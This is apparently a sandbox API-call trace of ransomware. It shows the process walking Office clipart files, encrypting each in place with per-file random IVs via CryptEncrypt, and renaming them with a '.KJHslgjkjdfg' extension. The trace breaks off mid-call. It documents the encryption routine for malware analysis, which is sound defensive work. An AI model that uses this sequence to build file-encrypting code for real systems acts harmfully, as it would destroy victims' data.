[0213.277] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.277] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.277] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.277] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.277] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.278] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.278] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.278] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.278] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.278] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa94, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa94, lpOverlapped=0x0) returned 1 [0213.278] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaa0, dwBufLen=0xaa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaa0) returned 1 [0213.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.278] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xaa0, lpOverlapped=0x0) returned 1 [0213.278] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.279] SetEndOfFile (hFile=0x130) returned 1 [0213.281] GetProcessHeap () returned 0x990000 [0213.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.281] GetProcessHeap () returned 0x990000 [0213.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.kjhslgjkjdfg")) returned 1 [0213.283] CloseHandle (hObject=0x130) returned 1 [0213.283] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325ae700, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x325ae700, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02265_.WMF", cAlternateFileName="")) returned 1 [0213.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.285] GetProcessHeap () returned 0x990000 [0213.285] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.285] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.285] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.301] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.301] GetProcessHeap () returned 0x990000 [0213.301] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.301] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.301] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.301] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.301] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.302] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.302] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.302] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.302] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.302] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.302] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x38c, lpOverlapped=0x0) returned 1 [0213.302] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x390, dwBufLen=0x390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x390) returned 1 [0213.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.302] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x390, lpOverlapped=0x0) returned 1 [0213.303] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.303] SetEndOfFile (hFile=0x130) returned 1 [0213.305] GetProcessHeap () returned 0x990000 [0213.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.305] GetProcessHeap () returned 0x990000 [0213.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.kjhslgjkjdfg")) returned 1 [0213.307] CloseHandle (hObject=0x130) returned 1 [0213.307] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e16ea00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e16ea00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02268_.WMF", cAlternateFileName="")) returned 1 [0213.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.308] GetProcessHeap () returned 0x990000 [0213.308] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.308] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.309] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.323] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.323] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.323] GetProcessHeap () returned 0x990000 [0213.323] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.323] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.323] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.323] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.323] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.323] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.323] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.324] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.324] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.324] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.324] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x61c, lpOverlapped=0x0) returned 1 [0213.324] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x620, dwBufLen=0x620 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x620) returned 1 [0213.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.324] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x620, lpOverlapped=0x0) returned 1 [0213.324] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.324] SetEndOfFile (hFile=0x130) returned 1 [0213.326] GetProcessHeap () returned 0x990000 [0213.326] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.326] GetProcessHeap () returned 0x990000 [0213.326] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.kjhslgjkjdfg")) returned 1 [0213.328] CloseHandle (hObject=0x130) returned 1 [0213.328] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a836300, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a836300, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02269_.WMF", cAlternateFileName="")) returned 1 [0213.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.329] GetProcessHeap () returned 0x990000 [0213.329] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.329] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.330] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.330] GetProcessHeap () returned 0x990000 [0213.330] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.330] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.330] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.330] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.332] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.332] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.332] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.332] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.333] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.333] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.333] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xaf0, lpOverlapped=0x0) returned 1 [0213.333] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaf0) returned 1 [0213.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.333] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xaf0, lpOverlapped=0x0) returned 1 [0213.333] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.333] SetEndOfFile (hFile=0x130) returned 1 [0213.336] GetProcessHeap () returned 0x990000 [0213.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.336] GetProcessHeap () returned 0x990000 [0213.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.kjhslgjkjdfg")) returned 1 [0213.338] CloseHandle (hObject=0x130) returned 1 [0213.338] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16efdc00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16efdc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02270_.WMF", cAlternateFileName="")) returned 1 [0213.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.340] GetProcessHeap () returned 0x990000 [0213.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.340] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.340] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.353] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.353] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.353] GetProcessHeap () returned 0x990000 [0213.353] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.353] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.354] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.354] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.354] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.354] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.354] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | 